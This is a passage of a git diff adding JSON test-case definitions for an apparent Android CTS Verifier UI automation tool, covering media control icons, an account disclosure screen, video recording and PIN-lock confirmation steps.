device\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":54.25,\"y1\":617.5,\"x2\":165.5,\"y2\":636.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Pair new device\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"android:id/content\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":54.25,\"y1\":606.0,\"x2\":356.5,\"y2\":648.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Pair new device\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":606.0,\"x2\":356.5,\"y2\":648.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Pair new device\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/row_view\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":606.0,\"x2\":356.5,\"y2\":648.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Pair new device\"}],\"className\":\"android.widget.FrameLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":606.0,\"x2\":356.5,\"y2\":648.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Pair new device\"}],\"className\":\"androidx.recyclerview.widget.RecyclerView\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":553.5,\"x2\":356.5,\"y2\":648.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Phone speaker\"}],\"className\":\"android.widget.FrameLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":553.5,\"x2\":356.5,\"y2\":648.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Phone speaker\"}],\"className\":\"android.view.ViewGroup\",\"resourceId\":\"com.android.settings:id/slice_view\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":553.5,\"x2\":356.5,\"y2\":648.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":117.0,\"y\":569.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":63.0,\"y\":31.75,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"b583e21a-5161-4c94-96d8-4521f2c665fc\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Phone speaker\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":62.0,\"y1\":559.0,\"x2\":172.0,\"y2\":579.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"4d3a83fc-8509-4395-be05-46877cee6cdf\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"PythonScriptAction\",\"name\":\"Click pass button\",\"actionId\":\"a5fe19c7-cf7b-4142-8c8d-45b785c04215\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\nfrom python_uiautomator.constant import MatchOption\\n\\nd= Device.create_device_by_slot(0)\\nd.text(\\\"Check that the Output Switcher opens.\\\", MatchOption.CONTAINS).down().resource_id(\\\"com.android.cts.verifier:id/iva_action_button_pass\\\").click()\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that icons appear for previous track\",\"actionId\":\"ce0773ff-46ce-459b-b9b4-e82c9f7334ee\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"previous track\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"d01fea46-c99e-4474-8d06-58230f249e6e\",\"displayText\":\"previous track\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageButton\",\"resourceId\":\"com.android.systemui:id/action1\",\"contentDesc\":\"previous track\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":false,\"bounds\":{\"x1\":199.0,\"y1\":189.25,\"x2\":241.0,\"y2\":231.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":216.0,\"y\":208.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":4.0,\"y\":1.75,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"d01fea46-c99e-4474-8d06-58230f249e6e\",\"firstText\":\"previous track\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"previous track\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":199.0,\"y1\":189.0,\"x2\":233.0,\"y2\":228.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that icons appear for pause\",\"actionId\":\"a177adce-6a0d-4835-93b0-15ed9a362315\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"pause\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"a9916e01-635e-42b4-b530-b6a75405e07c\",\"displayText\":\"pause\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageButton\",\"resourceId\":\"com.android.systemui:id/action2\",\"contentDesc\":\"pause\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":false,\"bounds\":{\"x1\":248.0,\"y1\":189.25,\"x2\":290.0,\"y2\":231.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":271.0,\"y\":206.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-2.0,\"y\":3.75,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"a9916e01-635e-42b4-b530-b6a75405e07c\",\"firstText\":\"pause\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"pause\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":258.0,\"y1\":192.0,\"x2\":284.0,\"y2\":221.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that icons appear for next track\",\"actionId\":\"ea22734e-7d89-4609-a998-e097a2f5fd02\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"next track\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"e0f5d0d3-ff9d-4c42-95d2-abdb6b425633\",\"displayText\":\"next track\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageButton\",\"resourceId\":\"com.android.systemui:id/action3\",\"contentDesc\":\"next track\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":false,\"bounds\":{\"x1\":297.0,\"y1\":189.25,\"x2\":339.0,\"y2\":231.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":315.5,\"y\":211.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":2.5,\"y\":-1.25,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"e0f5d0d3-ff9d-4c42-95d2-abdb6b425633\",\"firstText\":\"next track\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"next track\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":299.0,\"y1\":203.0,\"x2\":332.0,\"y2\":220.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that icons don't appear rewind\",\"actionId\":\"90ac64fe-8ec4-46a2-a772-994068f210f7\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"rewind\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"850ba66b-01d4-4c74-83e1-9973a61116e6\",\"displayText\":\"rewind\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageButton\",\"resourceId\":\"com.android.systemui:id/action0\",\"contentDesc\":\"rewind\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":false,\"bounds\":{\"x1\":61.0,\"y1\":546.75,\"x2\":103.0,\"y2\":588.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":78.5,\"y\":568.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":3.5,\"y\":-0.25,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"850ba66b-01d4-4c74-83e1-9973a61116e6\",\"firstText\":\"rewind\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"rewind\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":63.0,\"y1\":554.0,\"x2\":94.0,\"y2\":582.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that icons don''t appear for fast forward\",\"actionId\":\"b648618c-448d-4682-8349-fa3fed1978b0\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"fast forward\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"4fcb9bd9-3e63-4343-b297-a27bf019469f\",\"displayText\":\"fast forward\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageButton\",\"resourceId\":\"com.android.systemui:id/action4\",\"contentDesc\":\"fast forward\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":false,\"bounds\":{\"x1\":257.0,\"y1\":546.75,\"x2\":299.0,\"y2\":588.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":273.5,\"y\":568.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":4.5,\"y\":-0.25,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"4fcb9bd9-3e63-4343-b297-a27bf019469f\",\"firstText\":\"fast forward\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"fast forward\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":257.0,\"y1\":555.0,\"x2\":290.0,\"y2\":581.0}},{\"type\":\"PythonScriptAction\",\"name\":\"Click pass button\",\"actionId\":\"0c67be6e-1981-42fe-93f1-f89f2e9b4e78\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\nfrom python_uiautomator.constant import MatchOption\\n\\nd= Device.create_device_by_slot(0)\\nd.text(\\\"Check that icons appear for only previous track, pause and next track.\\\", MatchOption.CONTAINS).down().resource_id(\\\"com.android.cts.verifier:id/iva_action_button_pass\\\").click()\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"36e98444-f9b6-4847-9c51-14129f9a879d\",\"eccf9bf1-0347-4c8b-ad65-22902e111a79\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"bc4f5534-26cb-4b19-b548-609b6c8e326e\",\"81bfd30e-6f7e-4655-8a74-1d22f612c75c\",\"40795c4f-5c7d-4cf4-9124-5bb1c6d9873b\",\"31902e22-dd19-4a14-9a1f-5bca034bacd5\",\"52ed673a-8074-494d-8b9c-31c24e199645\",\"bc4f5534-26cb-4b19-b548-609b6c8e326e\",\"b8ac90ea-ff6f-485e-972a-ca6f2b7a2aa6\",\"31902e22-dd19-4a14-9a1f-5bca034bacd5\",\"2089c5aa-f57c-45bb-bfec-59d5b36aacb2\",\"bc4f5534-26cb-4b19-b548-609b6c8e326e\",\"a6e04211-c24d-4393-b5b2-125f33f0af86\",\"7fb4df7e-5ffc-4d6e-9f41-4caf71637e60\",\"31902e22-dd19-4a14-9a1f-5bca034bacd5\",\"8ad38071-95c5-44d1-a54c-a8beab7abc56\",\"3bdb642f-e9ea-4396-a432-00c2861477ba\",\"bc4f5534-26cb-4b19-b548-609b6c8e326e\",\"a8caef7d-f176-4064-a58a-c409a814ad71\",\"fdbe24d4-5cb7-474a-88de-625b7ae1b65e\",\"e8053e0c-f1e6-4452-b0ca-3ffef68a0e25\",\"0c59a0de-6cf5-4bd0-9b80-48a3f0c80a24\",\"0794a730-678a-41c7-a9a2-2d5c48457e02\",\"31902e22-dd19-4a14-9a1f-5bca034bacd5\",\"18570b3c-6c3d-4510-adc2-154ed756a7d7\",\"bc4f5534-26cb-4b19-b548-609b6c8e326e\",\"59ce4786-baa1-4065-897d-ca7424dd41cf\",\"26ca34c0-d23d-46be-87ab-332ad44b6e4d\",\"55313067-ca6b-4d77-98c9-6be522c52858\",\"4d3a83fc-8509-4395-be05-46877cee6cdf\",\"a5fe19c7-cf7b-4142-8c8d-45b785c04215\",\"15c75efc-b173-4eed-9a2c-164886355c98\",\"ce0773ff-46ce-459b-b9b4-e82c9f7334ee\",\"a177adce-6a0d-4835-93b0-15ed9a362315\",\"ea22734e-7d89-4609-a998-e097a2f5fd02\",\"90ac64fe-8ec4-46a2-a772-994068f210f7\",\"b648618c-448d-4682-8349-fa3fed1978b0\",\"31902e22-dd19-4a14-9a1f-5bca034bacd5\",\"0c67be6e-1981-42fe-93f1-f89f2e9b4e78\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test_QS Media Controls Test(Check image)","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.238000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/fb524e6c-60b2-4211-b7e4-37f76f26a3ef b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/fb524e6c-60b2-4211-b7e4-37f76f26a3ef
new file mode 100644
index 0000000..dc4211b
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/fb524e6c-60b2-4211-b7e4-37f76f26a3ef
@@ -0,0 +1 @@
+{"uuid":"fb524e6c-60b2-4211-b7e4-37f76f26a3ef","details":"{\"type\":\"CompoundAction\",\"name\":\"04-Add account disclosure\",\"actionId\":\"fb524e6c-60b2-4211-b7e4-37f76f26a3ef\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Add account disclosure\",\"actionId\":\"89eddd9a-4f58-4124-bce8-40aa061572c7\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Add account disclosure\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify you are not told that the device is managed\",\"actionId\":\"b3d74c88-dee2-4eeb-a0a7-822836071871\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"CONTAINS\",\"patternValue\":\"This device is managed by your organization. Learn more\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"6cae0685-ef34-402f-8bef-53fa156a2b72\",\"displayText\":\"This device is managed by your organization. Learn more\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"b053a04d-d2b4-4f31-8a02-5860351f02e9\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"5f3509e0-2248-4b20-8067-07d760f24329\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":369.5,\"x2\":35.0,\"y2\":390.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":355.5,\"x2\":63.0,\"y2\":394.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"\"},{\"uuid\":\"79a49fb3-447b-476f-9724-056cffe6d2d2\",\"displayText\":\"This device is managed by your organization. Learn more\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"This device is managed by your organization. Learn more\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":355.5,\"x2\":346.0,\"y2\":414.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":24.5,\"y\":9.375,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"This device is managed by your organization. Learn more\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":355.5,\"x2\":360.0,\"y2\":418.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":180.0,\"y\":375.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":11.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"79a49fb3-447b-476f-9724-056cffe6d2d2\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"This device is managed by your organization. Learn more\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":54.0,\"y1\":365.0,\"x2\":306.0,\"y2\":386.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"09b1de0a-7d9c-4905-859c-57cf5092ce88\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"7f12c16f-51be-4732-bf1b-ef4b55841a99\",\"89eddd9a-4f58-4124-bce8-40aa061572c7\",\"608f1c50-237e-4f5d-94c6-0bbbcba87332\",\"b3d74c88-dee2-4eeb-a0a7-822836071871\",\"09b1de0a-7d9c-4905-859c-57cf5092ce88\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"04-Add account disclosure","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.222000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/fdcaf63b-bd85-431d-a212-51c1af4d3204 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/fdcaf63b-bd85-431d-a212-51c1af4d3204
new file mode 100644
index 0000000..b3827d0
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/fdcaf63b-bd85-431d-a212-51c1af4d3204
@@ -0,0 +1 @@
+{"uuid":"fdcaf63b-bd85-431d-a212-51c1af4d3204","details":"{\"type\":\"CompoundAction\",\"name\":\"Click Next button\",\"actionId\":\"fdcaf63b-bd85-431d-a212-51c1af4d3204\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, id/action_next\",\"actionId\":\"317f92ac-22e2-4b9b-b270-712fec8310e8\",\"actionType\":\"CLICK_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/action_next\"}],\"childrenIdList\":[\"317f92ac-22e2-4b9b-b270-712fec8310e8\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click Next button","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.259000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/fde8df69-89b4-42eb-8f6a-d67be2ca8770 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/fde8df69-89b4-42eb-8f6a-d67be2ca8770
new file mode 100644
index 0000000..58cc823
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/fde8df69-89b4-42eb-8f6a-d67be2ca8770
@@ -0,0 +1 @@
+{"uuid":"fde8df69-89b4-42eb-8f6a-d67be2ca8770","details":"{\"type\":\"CompoundAction\",\"name\":\"Start recording\",\"actionId\":\"fde8df69-89b4-42eb-8f6a-d67be2ca8770\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"Start recording\",\"actionId\":\"6e1f87ae-1227-4208-a5aa-9e5d7f839d06\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"or\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"$uicd_camera_video_record\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"$uicd_camera_video_record\"},{\"field\":\"contentDesc\",\"operator\":\"=\",\"value\":\"$uicd_camera_video_record\"}]},\"clickAfterValidation\":true}],\"childrenIdList\":[\"6e1f87ae-1227-4208-a5aa-9e5d7f839d06\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Start recording","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.005000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ffe766f2-11f5-449d-9b89-e5ff06f5a835 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ffe766f2-11f5-449d-9b89-e5ff06f5a835
new file mode 100644
index 0000000..ab4f48a
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ffe766f2-11f5-449d-9b89-e5ff06f5a835
@@ -0,0 +1 @@
+{"uuid":"ffe766f2-11f5-449d-9b89-e5ff06f5a835","details":"{\"type\":\"CompoundAction\",\"name\":\"Confirm PIN lock \\\"14725836\\\"\",\"actionId\":\"ffe766f2-11f5-449d-9b89-e5ff06f5a835\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if Re-enter your PIN screen appear\",\"actionId\":\"79864d94-6d67-45e9-9da5-85a175acde95\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Re-enter your PIN\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"78b47be2-089e-44bf-a95f-499ee567885a\",\"displayText\":\"Re-enter your PIN\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"8ff28a5b-1cbb-45bb-9a40-aa998d0a58e1\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"com.android.settings:id/sud_layout_icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":166.0,\"y1\":97.33333333333333,\"x2\":194.0,\"y2\":125.33333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":4,\"firstText\":\"\"},{\"uuid\":\"b153876f-78a9-4f3d-b78c-eb1d763bebb5\",\"displayText\":\"Re-enter your 